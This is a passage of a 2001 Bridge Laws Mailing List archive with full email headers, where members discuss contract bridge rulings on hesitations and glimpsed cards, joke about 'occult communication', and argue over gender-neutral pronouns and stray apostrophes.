(EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id NAA22446 for ; Wed, 10 Jan 2001 13:29:31 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id NAA19788 for bridge-laws@rgb.anu.edu.au; Wed, 10 Jan 2001 13:29:30 -0500 (EST) Date: Wed, 10 Jan 2001 13:29:30 -0500 (EST) From: Steve Willner Message-Id: <200101101829.NAA19788@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] What is suggested ? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > > Kaplan stated that *if* the AC deemed that the doubler > > > had deliberately hesitated to prevent partner pulling.... > From: "Grattan Endicott" > +=+ If this is what had happened there were too > distinct offences: (a) the deliberate hesitation, > and (b) using the UI conveyed. Each has its > separate treatment by the Director. Just for reference, the laws that might apply to (a) include at least L73B1, L73D1 (usually applied when an opponent is misled, but I see nothing that restricts it to that situation), and L72B1 and 12A1 to get to the score adjustment. As we have read, none of the above applied in the real-world case, but they might be kept in mind for the future. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 05:37:06 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AIYCH16806 for bridge-laws-outgoing; Thu, 11 Jan 2001 05:34:13 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AIY6t16802 for ; Thu, 11 Jan 2001 05:34:07 +1100 (EST) Received: from flash.irvine.com (flash.irvine.com [192.160.8.4]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id KAA24194; Wed, 10 Jan 2001 10:33:58 -0800 Message-Id: <200101101833.KAA24194@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] horror ! (new) In-reply-to: Your message of "Wed, 10 Jan 2001 15:16:18 PST." <3.0.6.32.20010110151618.008136a0@pop.ulb.ac.be> Date: Wed, 10 Jan 2001 10:33:58 PST From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Alain Gottcheiner wrote: > Dear blmlists, > > While fumbling for a Law that could apply to another of our threads, I > found an incredible error in the wording of the law. > > Unfortunately, I own only the French version, so the translation is mine. > Perhaps the error doen't lie in the original, English version. > > L73B2 : occult cmmunication : The worse infraction is for a pair to > exchange information using occult communication means other than those > permitted by the Laws. Hmmm . . . I have pictures of someone at the bridge table with a bubbling cauldron next to their bidding box, attempting to cast a spell: Eye of newt, ear of frog, Tail of snake and spleen of hog; I pray to Beelzebub: Make my partner lead a club!!! -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 05:39:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AIaFX17116 for bridge-laws-outgoing; Thu, 11 Jan 2001 05:36:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AIa7t17077 for ; Thu, 11 Jan 2001 05:36:08 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id NAA22770 for ; Wed, 10 Jan 2001 13:36:04 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id NAA19824 for bridge-laws@rgb.anu.edu.au; Wed, 10 Jan 2001 13:36:04 -0500 (EST) Date: Wed, 10 Jan 2001 13:36:04 -0500 (EST) From: Steve Willner Message-Id: <200101101836.NAA19824@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] earth X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "Nancy" > Perhaps this is not the place for this, but I think it is. This is > an awesome picture of all of us on bridge night. Enjoy!!!! Nancy If you like it, you can buy a poster. (I don't know whether the poster is identical to the picture on the web, but it's similar. I think there may be several slightly different versions.) One source is the catalog at www.aspsky.org, item AP 380, $9.95. Some of us, who are concerned about light pollution, are depressed rather than excited by the picture. More information at http://www.darksky.org/ida/index.html -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 05:41:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AIc3x17721 for bridge-laws-outgoing; Thu, 11 Jan 2001 05:38:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AIbut17687 for ; Thu, 11 Jan 2001 05:37:56 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id NAA22907 for ; Wed, 10 Jan 2001 13:37:53 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id NAA19838 for bridge-laws@rgb.anu.edu.au.; Wed, 10 Jan 2001 13:37:53 -0500 (EST) Date: Wed, 10 Jan 2001 13:37:53 -0500 (EST) From: Steve Willner Message-Id: <200101101837.NAA19838@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Bad Language X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: richard.hills@immi.gov.au > Edgar Kaplan also supported old-fashioned sexist grammar. As other replies have made clear, not everyone agrees about what is sexist and what isn't. Personally, I'll bee happy with clarity, no matter how it is achieved. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 06:16:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AJDFB29982 for bridge-laws-outgoing; Thu, 11 Jan 2001 06:13:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from sirene.rz.uni-duesseldorf.de (sirene.rz.uni-duesseldorf.de [134.99.128.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AJD4t29931 for ; Thu, 11 Jan 2001 06:13:05 +1100 (EST) Received: from unid.uni-duesseldorf.de (Isis87.urz.uni-duesseldorf.de [134.99.138.87]) by neptun.rz.uni-duesseldorf.de (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with ESMTP id <0G6Y00I13NXJNL@neptun.rz.uni-duesseldorf.de> for bridge-laws@rgb.anu.edu.au; Wed, 10 Jan 2001 20:10:33 +0100 (MET) Date: Wed, 10 Jan 2001 20:10:31 +0100 From: Richard Bley Subject: RE: [BLML] horror ! (new) In-reply-to: <67378DEA146DD21194C20000F87B08BA01B8B768@fdwag002s.fd.agro.nl> X-Sender: bley@mail.rz.uni-duesseldorf.de To: bridge-laws@rgb.anu.edu.au Message-id: <5.0.2.1.0.20010110200946.00a12860@mail.rz.uni-duesseldorf.de> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7BIT Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > Dear blmlists, > > > > While fumbling for a Law that could apply to another of our threads, I > > found an incredible error in the wording of the law. > > > > Unfortunately, I own only the French version, so the > > translation is mine. > > Perhaps the error doen't lie in the original, English version. > > > > L73B2 : occult cmmunication : The worse infraction is for a pair to > > exchange information using occult communication means other than those > > permitted by the Laws. Maybe we shall call this the "Harry Potter"-Rule ;-))) Cheers Richard > > > > Taken litterally, this means that the Laws allow us some occult > > communication means, only the others being disallowed. This > > is outrageous ! > > > > Since we already think about the next version of TFLB, > > couldn't we suggest > > some other way of expressing it ? (at least in the French version) > > > > Alain. > > > > -- > > ============================================================== > > ========== > > (Un)Subscribing? Want the archives? email > > majordomo@rgb.anu.edu.au with > > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > > A Web archive is at > > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-> LAWS/ > > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 06:16:55 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AJDHc29996 for bridge-laws-outgoing; Thu, 11 Jan 2001 06:13:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AJD8t29955 for ; Thu, 11 Jan 2001 06:13:09 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Wed, 10 Jan 2001 11:09:44 -0800 Message-ID: <007c01c07b39$47b57300$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101101524.PAA13083@tempest.npl.co.uk> Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] Date: Wed, 10 Jan 2001 11:05:25 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Robin Barker" > > From: Eric Landau > > > > there's no law against peeking at opponents' hands either. > > Except L75C5: > > 5. looking intently at any other player during the auction and play, > or at another player's hand as for the purpose of seeing his cards > or of observing the place from which he draws a card (but it is > appropriate to act on information acquired by inadvertently seeing > an opponent's card). That's 74C5. This abominable parenthetical statement, added in 1987, and perhaps appropriate for rubber bridge Laws, was evidently added to reflect L16B's characterization (1963 on) of such information as UI only if it comes before the auction begins. How could it possibly be right to act on information gained this way during the auction or play in a duplicate bridge pair game? Of course if the Laws labeled this information as UI, enforcement would be impossible. That is true of other Laws, and should not be an impediment to doing the right thing. Besides, how can seeing an opponent's card(s) be "inadvertent"? We are not supposed to be looking in the direction of those cards, are we? At the very least, L75C5 should state that players are expected to avoid such "inadvertencies" by keeping their eyes on their own hands or on the table. Perhaps it should drop "as for the purpose of ..." What legitimate purpose is there? This should read "...at another player's hand." (Period, full stop). Off-subject, there are too many players at NABCs who stare at declarer while s/he is thinking. My practice is to stare them down in return, and then return to my thinking. If they don't take that hint, I call the TD. In my experience these people are smokers who are anxious to get the deal over with so they can skip out. This is counter-productive on the last deal of a round, as it ensures that the deal will not be completed until the round is nearly over. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 06:45:40 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AJhEW08658 for bridge-laws-outgoing; Thu, 11 Jan 2001 06:43:14 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AJh7t08623 for ; Thu, 11 Jan 2001 06:43:07 +1100 (EST) Received: from marvin ([24.30.153.86]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Wed, 10 Jan 2001 11:39:59 -0800 Message-ID: <008201c07b3d$81486240$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Bad Language Date: Wed, 10 Jan 2001 11:38:31 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Richard Hills wrote: > > Traditionally, the English generic (undefined gender) > third person singular is *he* or *his*. > > A few decades ago, Brian Glubok used the construction > s/he in an answer to a problem in the Bridge World's MSC. > The then MSC Director, Alan Truscott, deprecated such an > inelegant neologism. Edgar Kaplan also supported > old-fashioned sexist grammar. One of Kaplan's > reasons for stodginess was that there were no > generally accepted alternative words to replace the > generic use of *he* and *his*. > He also wrote correctly that "gender" has nothing to do with sex, but is a grammatical term. That means "he" is masculine gender, but not male sex, when applied to persons of unidentified sex. The fact that it is identical to the pronoun used for the male sex is unfortunate, he says, and it would be better if males had a pronoun of their own, as the females do. Now, most Americans (I can't speak for the English) don't know what "gender" is. For proof, read and listen to the news media, who use "gender" as a synonym for "sex." (This smacks of the Victorian age, when women's legs had to be called "limbs."). Accordingly, the majority naturally will assume from an early age that the use of "he" as a general pronoun symbolizes male dominance over women. That is why we need some other way of referring to a person or persons of unidentified sex. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 08:02:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AKvYb04719 for bridge-laws-outgoing; Thu, 11 Jan 2001 07:57:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from psa836.la.asu.edu (root@psa836.la.asu.edu [129.219.44.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AKvRt04676 for ; Thu, 11 Jan 2001 07:57:27 +1100 (EST) Received: from localhost (grabiner@localhost) by psa836.la.asu.edu (8.10.2/8.10.2) with ESMTP id f0ADh2D08161; Wed, 10 Jan 2001 13:43:02 GMT Date: Wed, 10 Jan 2001 13:43:02 +0000 (/etc/localtime) From: David J Grabiner To: "Marvin L. French" cc: bridge-laws@rgb.anu.edu.au Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] In-Reply-To: <007c01c07b39$47b57300$56991e18@san.rr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Wed, 10 Jan 2001, Marvin L. French wrote: > > From: "Robin Barker" > > > > 5. looking intently at any other player during the auction and > play, > > or at another player's hand as for the purpose of seeing his > cards > > or of observing the place from which he draws a card (but it > is > > appropriate to act on information acquired by inadvertently > seeing > > an opponent's card). > > That's 74C5. > This abominable parenthetical statement, added in 1987, and perhaps > appropriate for rubber bridge Laws, was evidently added to reflect > L16B's characterization (1963 on) of such information as UI only if > it comes before the auction begins. > > How could it possibly be right to act on information gained this way > during the auction or play in a duplicate bridge pair game?'' There are many players who are extremely careless in holding their cards. Some hold their cards at about a 45-degree anlgle, rather than vertical; with a slight rotation, the hand becomes visible to an opponent who is looking at the bidding cards. Others fold up their cards in one pile, but then rotate the pile so that the face of the top card is pointed almost directly at an opponent. In these situations, I usually warn the opponent, "Please don't show me your cards," but I have sometimes already seen a card. And it is acceptable to look at an opponent, particularly when you are asking that opponent a question, or answering one. It is not fair to the side which sees a card due to the opponent's carelessness to make this card UI under the L16A rules, and applying the L16B rule wouldn't be practical; what are you suppose dto do when you see an opponnent's card in the middle of the auction? -- Sincerely, David Grabiner, grabiner@math.la.asu.edu Department of Mathematics, Arizona State University, Tempe, AZ 85287-1804 http://math.la.asu.edu/~grabiner Phone: (480)965-3745 (work), (480)517-1674 (home). Fax: (480)965-8119. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 08:24:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ALMZQ13583 for bridge-laws-outgoing; Thu, 11 Jan 2001 08:22:35 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from avocet.prod.itd.earthlink.net (avocet.prod.itd.earthlink.net [207.217.121.50]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ALMTt13551 for ; Thu, 11 Jan 2001 08:22:30 +1100 (EST) Received: from ivillage (sdn-ar-002kslawrP287.dialsprint.net [158.252.182.89]) by avocet.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id NAA01371 for ; Wed, 10 Jan 2001 13:22:24 -0800 (PST) Message-ID: <200101101520580830.014C543A@mail.earthlink.net> In-Reply-To: <007c01c07b39$47b57300$56991e18@san.rr.com> References: <200101101524.PAA13083@tempest.npl.co.uk> <007c01c07b39$47b57300$56991e18@san.rr.com> X-Mailer: Calypso Version 3.10.03.02 (3) Date: Wed, 10 Jan 2001 15:20:58 -0600 From: "Brian Baresch" To: bridge-laws@rgb.anu.edu.au Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >Besides, how can seeing an opponent's card(s) be "inadvertent"? We >are not supposed to be looking in the direction of those cards, are >we? At the very least, L75C5 should state that players are expected >to avoid such "inadvertencies" by keeping their eyes on their own >hands or on the table. I have an example: Once at the club my RHO had removed her cards from the board but hadn't fanned them or looked at them, because she was talking about something and gesturing. As this was going on I was looking her way, and before I could look away I caught a glimpse of the bottom card in her hand, a red face card. It turned out to be significant: I ended up in 6NT, with a two-way finesse for the DQ and no other red honors missing. At the time I was a relative novice and didn't know anything about the Laws and such beyond the mechanics of the game, so I kept quiet. But I did make sure that I had a reason to finesse the right way before I did it (LHO discarded two diamonds without apparent concern as I cashed my other tricks). I can easily imagine that sort of thing happening after the play has begun. Brian Baresch, baresch@earthlink.net Lawrence, Kansas, USA Editing, writing, proofreading Only YOU can prevent narcissism. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 08:42:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ALex820034 for bridge-laws-outgoing; Thu, 11 Jan 2001 08:40:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f128.law3.hotmail.com [209.185.241.128]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ALemt19984 for ; Thu, 11 Jan 2001 08:40:52 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 10 Jan 2001 13:40:33 -0800 Received: from 172.141.3.53 by lw3fd.law3.hotmail.msn.com with HTTP; Wed, 10 Jan 2001 21:40:33 GMT X-Originating-IP: [172.141.3.53] From: "Todd Zimnoch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Bad Language Date: Wed, 10 Jan 2001 13:40:33 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 10 Jan 2001 21:40:33.0607 (UTC) FILETIME=[F5FCFD70:01C07B4D] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > Of course, by 2007, who knows what the most widely accepted format >will be? > >It will be "they" and, of course, "their's". They'll break centuries old tradition and use apostrophes in possessive pronouns? -Todd _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 08:52:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ALpsk23915 for bridge-laws-outgoing; Thu, 11 Jan 2001 08:51:54 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ALpnt23887 for ; Thu, 11 Jan 2001 08:51:49 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id IAA25513 for ; Thu, 11 Jan 2001 08:44:42 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Thu, 11 Jan 2001 08:45:45 +0000 (EST) Subject: RE: [BLML] Bad Language To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Thu, 11 Jan 2001 08:50:40 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 11/01/2001 08:50:51 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Craig Senior laid down the Law: >Marv every example you have given of what >your alleged consensus accepts is an >example of illiterate colloquialism. None >is good or proper English. [snip] The Naughty Preposition, by Morris Bishop, in *The New Yorker*, 1947: I lately lost a preposition; It hid, I thought, beneath my chair; And angrily I cried,"Perdition! Up from out of in under there!" Correctness is my vade mecum, And straggling phrases I abhor, And yet I wonder, "What should he come Up from out of in under for? Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 09:02:09 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ALxKd26506 for bridge-laws-outgoing; Thu, 11 Jan 2001 08:59:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from albatross.prod.itd.earthlink.net (albatross.prod.itd.earthlink.net [207.217.120.120]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ALxDt26471 for ; Thu, 11 Jan 2001 08:59:14 +1100 (EST) Received: from ivillage (sdn-ar-002kslawrP273.dialsprint.net [158.252.182.75]) by albatross.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id NAA27596 for ; Wed, 10 Jan 2001 13:59:09 -0800 (PST) Message-ID: <200101101557430710.016DFA4F@mail.earthlink.net> In-Reply-To: References: X-Mailer: Calypso Version 3.10.03.02 (3) Date: Wed, 10 Jan 2001 15:57:43 -0600 From: "Brian Baresch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Bad Language Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Apologies to Todd for the double posting. >>It will be "they" and, of course, "their's". > > They'll break centuries old tradition and use apostrophes in >possessive pronouns? Replacing one tradition with another . Call it the "hand-lettered-sign revolution". Someone said he once saw a sign outside a shop (a butcher's, I think; might have been a greengrocer) with one of those extraneous apostrophes. He went in to speak to the owner, who told him, "You have no idea how much business that apostrophe brings in." Brian Baresch, baresch@earthlink.net Lawrence, Kansas, USA Editing, writing, proofreading Only YOU can prevent narcissism. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 09:06:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AM4ZC28345 for bridge-laws-outgoing; Thu, 11 Jan 2001 09:04:35 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout2.nyroc.rr.com (mailout2-1.nyroc.rr.com [24.92.226.165]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AM4St28304 for ; Thu, 11 Jan 2001 09:04:29 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout2.nyroc.rr.com (8.9.3/8.9.3) with ESMTP id RAA01859 for ; Wed, 10 Jan 2001 17:00:12 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <200101101753.JAA23221@mailhub.irvine.com> References: <200101101753.JAA23221@mailhub.irvine.com> Date: Wed, 10 Jan 2001 16:56:02 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: [BLML] Bad Language Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Adam Beneschan wrote: >If I get a Law book with the word "hir" in it, it's going directly > into the paper shredder. Plus some other things I snipped. Well said, Adam! I agree completely. Personally, nearly every time I see "they" used in place of "he", I have to stop and look carefully to make sure I understand the meaning. As for sexism, well, while I think there are some statements that are definitely sexist, in the vast majority of cases, I think any "sexism" is solely in the eye of the beholder. Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOlzcXb2UW3au93vOEQLevgCg8ZDUn4DavhyFYs4RdUGD/tor608AnjaA uUpHazoZPf6rwf3oUg5ztpdY =BGB1 -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 11 09:55:57 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0AMqfV15244 for bridge-laws-outgoing; Thu, 11 Jan 2001 09:52:41 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0AMqXt15203 for ; Thu, 11 Jan 2001 09:52:34 +1100 (EST) Received: from flash.irvine.com (flash.irvine.com [192.160.8.4]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id OAA30783; Wed, 10 Jan 2001 14:52:24 -0800 Message-Id: <200101102252.OAA30783@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Bad Language In-reply-to: Your message of "Wed, 10 Jan 2001 15:57:43 PST." <200101101557430710.016DFA4F@mail.earthlink.net> Date: Wed, 10 Jan 2001 14:52:25 PST From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Brian Baresch wrote: > Someone said he once saw a sign outside a shop (a butcher's, I think; might > have been a greengrocer) with one of those extraneous apostrophes. He went > in to speak to the owner, who told him, "You have no idea how much business > that apostrophe brings in." How long ago did this occur? I'd be shocked if this happened today. About 75% of the US population wouldn't realize anything was wrong, and the rest of us have gotten so accustomed to everyone else not caring about correct grammar or spelling any more that we've given up trying. Grumble grumble grumble grumble. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web 